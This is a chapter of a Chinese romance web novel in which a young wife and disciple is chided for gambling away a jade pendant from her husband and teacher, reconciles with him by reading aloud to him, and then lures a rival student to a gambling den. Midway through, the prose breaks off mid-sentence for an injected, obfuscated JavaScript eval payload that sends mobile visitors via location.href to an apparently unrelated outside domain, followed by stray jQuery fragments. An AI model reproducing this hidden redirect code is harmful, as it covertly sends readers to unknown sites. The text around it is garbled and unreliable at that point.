过去一年，季灵儿因张罗师兄们赌博，被罚数次，次次认罚，次次好了伤疤忘了疼。如今竟拿他送的玉坠做赌注，亏他以为她与梁宸乃寻常置气，违背原则偏颇一次。


    所以，彼时她是以为会输，才垂首去摸坠子。


    想到此处，秦劭气得直发笑。


    “你可知那件良渚玉琮是真品。”


    季灵儿猛地抬头：“啊？那您岂不是——”


    她顿在话音，耻于说出后半句“当众偏私于我。”


    怔了良久，垂头道：“您罚我吧。”


    秦劭同样为自己一时的私心所耻，他怕这样失原则的事会成为裂隙的开端，一发不可收拾。


    见她低头认错，眉间拢着愧色，又涌起深深的无力感，心口是空的，唯有呼吸沉落下来，问道：“罚你哪一桩？”


    季灵儿不太明白，回想最近没犯旁的错，懵懵抬眼：“不就是赌玉坠这一桩......还有的旁的吗？”


    “赌，和赌玉坠，性质不一样。”秦劭道。


    季灵儿更加茫然：“哪里不一样？”


    “赌，是你身为弟子犯规矩且屡教不改，”秦劭解释，声音在后半句低了下去：“赌玉坠，是对我一番心意的轻贱。”


    季灵儿并非故意要拿玉坠去赌，只是受不得梁宸激将，她想解释，却隐约听出他语气里的沮丧，犹如手指猝不及防被花刺扎了一下，一瞬的疼可以忽略不计，伤口渗出的血迹令她怔愣良久。


    未能想出合适的措辞，又听他说：“你希望我以哪个身份罚你？”


    她虽不完全明白明明一桩事为何非得分开论，但以新身份同秦劭相处这些时日，大抵明白，他在公与私之间划着极明显的界限，因而很快明白他是在问，该以师门规矩罚她，还是以被辜负的心意的丈夫身份责她。


    依照这些时日发生的情况，身为夫君的秦劭总是更宽容些，遂经一番斟酌后，试探唤道：“夫君？”


    秦劭目光微凝，喉间泛起涩意，小姑娘选了最令他难办的一种。


    浅“嗯”一声，未言其他。


    直至用过晚膳，秦劭没同她说一句话，也没避开她去旁处，就安静坐在暖榻前翻书，浑身散着疏离的冷意，暖色烛光都无法柔和他冷峻的侧影。


    屋里气氛比冬夜的井水还冰人。


    季灵儿兀自完成课业，倒不在意沉默氛围，只是总忍不住想被秦劭指控轻贱心意这茬，她不想被误解，细究起来，不全然是误解。


    心思散了落笔便错，将写废的宣纸揉成团，忿忿扔进废篓里。


    秦劭听闻动静抬眼，恰巧看见她皱鼻子的小动作，眉心紧紧攒着，烦躁全然写在脸上。


    实在于心不忍，轻声发问：“遇到难处了？”


    季灵儿摇摇头，重重舒出一口气，旋即捧着戒尺走到他跟前，“您罚吧。”


    秦劭这才反应，她并非为课业烦忧。


    目光落在微颤的葇夷上，分明害怕还来讨打，真心认错或想让他消气，无论出于哪种动机，此刻已轻而易举驱散他心底自己同自己置气的烦闷。


    拿过戒尺轻轻搁在小几上，尽力让声音柔和：“这是在家，并非学堂。”


    手心空下去，季灵儿似懂非懂地眨眼看他，颇有求知若渴之态。


    秦劭不觉弯起嘴角，笑意中夹着涩然道：“说实话，我头一次给人当夫君，不知要如何处理把自己送的玉坠拿去赌的妻子。”


    不能像在学堂一样给她立规矩，不能训斥苛责......可他心里终归是不好受的，弄不清是太过计较，还是苦闷于至今找不到合适安放二人位置的法子。


    季灵儿探进他仰起的眸中，捕捉到许多似是而非的情绪，如夜风里的烛光，忽明忽暗，她勉强将它们定义为失落。


    因为易地而处，她不仅会失落，还会生气。


    “抱歉，但我真不是有意的。”她解释。


    “我知道，”秦劭点点头，复又拿起书卷，目光并未落在字上，“你累了便先歇吧，我看会儿书。”


    课业并非急要，季灵儿心思浮动，索性搁置下来，先叫水沐浴。


    趁四下无旁人，玉秀悄声问：“您同大爷闹别扭了？”


    季灵儿简单将玉坠的事说了，玉秀听罢提议道：“这样僵着伤了感情可不好，要不您去哄哄大爷？”


    季灵儿想说没什么感情值得伤，念及他失落的神色，来回拨着水花怅然须臾，恹恹道：“我不会。”


    确切说并非不会，从前每每惹师父生气，便端茶递水，捏腰捶背，小尾巴似的蹭在跟前耍赖，师父被磨得没脾气，便也消了气。


    师父毕竟是女子，她可以毫不费力撒娇讨巧，可面对秦劭......总觉得哪里不对劲。


    向玉秀讨教如何哄人，得到的答案竟是差不多。


    于是乎，沐浴完换好寝衣的季灵儿笨拙地捧了茶盏蹭到秦劭跟前，“您爱喝的君山银针，我自己泡的。”


    茶烟袅袅，氤氲她眼底小心翼翼的光。


    秦劭眸中闪过诧异，放下书接了茶盏。


    小姑娘还杵着，半晌不肯走，指尖绞着衣角。


    “有话说？”他问。


    季灵儿努力酝酿，实在难像对师父那样自然流露娇态，只捧着谄媚地笑道：“要不我再给您捏捏肩？”


    秦劭了然她的意思，随手将茶盏搁在小几上，声音低缓道：“季凌，我不需要你做这些，尤其不想你为讨好我而做这些。”


    换言之，她不必为任何事，讨好任何人。


    季灵儿指尖一蜷，坦然道：“我想哄您。”


    话音落，二人目光相对却沉默，屋内只闻灯烛燃烧的声响。


    须臾，季灵儿开口：“您给指条明路罢。”


    她最烦欠人情，早些揭过这篇心里才踏实。


    垂在身侧的手倏然一暖，被轻轻握住。


    秦劭执手引她在身侧坐下，语气因心中动容而微微发哑：“心意被轻慢，需要有心意的哄法。”


    季灵儿茫然看着近在咫尺的侧脸，心脏抑制不住地乱撞。


    她试探着，一点点朝他靠近些，将满脸诚恳送进他视线：“我真心保证，以后绝对不会了。”


    “我信你。”秦劭声音垂直落入她耳中，“但我说的心意不是这个。”


    说着拿起方才看的书卷放到她手中，“陪我一会儿，念书给我听，可以吗？”


    念书而已，季灵儿不明白为何秦劭语气郑重的似在请求什么了不得的大事，但这可比惩罚轻松多了，遂毫不犹豫应下来。


    寻了个舒适的姿势靠在他身边，就着温暖的烛光，轻声读起书上的句子。


    她的声音原本清亮，此刻为彰显诚意和贴心，故意放柔放缓，结


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394914|184104||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    果读着读着，先将自己催困了，声音渐渐低下去，变成了含糊的呓语，脑袋也一点一点歪倒下去，整个窝进秦劭怀里。


    书卷从她松软的手中滑落。


    秦劭拢她在怀中抱了一会儿，视线在恬静睡颜上流连，所有的气闷与无奈，于这一刻静谧中，被清浅绵长的呼吸拂散。


    他无声地叹了口气，呵护着抱着她下暖炕，安置在床榻上，拉过绣被仔细盖好，忍不住用指尖拂开她颊边发丝，在紧阖的眼皮上印一枚极轻的吻。


    “下不为例。”他轻声说。


    ...


    次日罚扫时季灵儿盘腿坐在高台上，捡了两颗石子，耍把式似的抛起又接住，如此反复，一颗石子终于失控飞出去，砸在梁宸扫帚前。


    他怒气冲冲抬头瞪她：“季灵儿，你别太过分！”


    她晃着脚丫笑道：“抱歉啊，失手了。”


    梁宸一连几日对季灵儿格外“客气”，牙咬碎了也从漏风的缝隙里挤出一声“小师弟”。


    这口气憋太久，实在难以继续，加之他爹已经问过两次，再拖恐难敷衍，于僻静无人的地方拦住季灵儿。


    “把金蟾还我！”


    见她犹豫又拿出一枚成色上佳的玉递上：“我拿这个同你换。”


    季灵儿抿了抿唇，难得在他面前露出怯色：“并非我不想还你，只是......金蟾被我不小心输掉了。”


    “什么！”梁宸眼睛瞪得浑圆，不可置信道：“你别是说谎诓我。”


    “昨日手痒去赌坊试手气，没想到遇到一个神秘人，接连赢走我所有赌注，最后抵无可抵，他便要走了金蟾。”


    她言辞恳切，对神秘人的痛恨不似作假，梁宸不得不信，气得浑身发抖。


    拳头紧了又松，挥到她脸颊旁堪堪停住，狠狠甩回来。


    他对女子终究下不去手。


    “我实在没法子了，”季灵儿试探着开口，“要不——你自个儿去赢回来？”


    “你要我去同他赌？”师门有训，家规亦不许涉赌，梁宸素日同她小打小闹尚可，不敢真去赌场。


    “你不是自诩赌术比我高明吗，这番你若能赢回来，从此我鞍前马后给你当跟班，如何？”


    “谁稀罕。”梁宸嗤道。


    梁宸自是不稀罕一个在他眼中本就低贱的野丫头当跟班，但金蟾是命根子，必得拿回来。


    他咬牙盯着季灵儿：“哪家赌坊，那人可留名号？”


    “聚宝堂，绰号鬼面人，人如其名，黑斗篷戴鬼面。”


    ...


    当日散学后，梁宸踏入聚宝堂，诸多气味混杂出的难闻扑面而来，险些让他窒息。硬着头皮进去，里头灯火昏黄，熙攘人群围在案前嘶吼，骰子撞盅，掌心拍案，声声如雷。


    百般不适从中，不忘暗骂始作俑者，野丫头就是野丫头，净往这鱼龙混杂的腌臜地方钻。


    迎客的伙计眼力甚佳，一眼便看出梁宸是生面孔，殷勤迎上：“公子头回来？这边请，新客有利钱拿。”


    梁宸冷着脸问：“我要找鬼面人。”


    伙计愣了下，仍挂着笑道：“那位客官的赌桌设在二楼，需得先压一定的彩头才可入局。”


    梁宸已从季灵儿口中得知这些，拍一张银票在柜上：“五百两，够了吗？”


    伙计眼中精光一闪，迅速收票引路。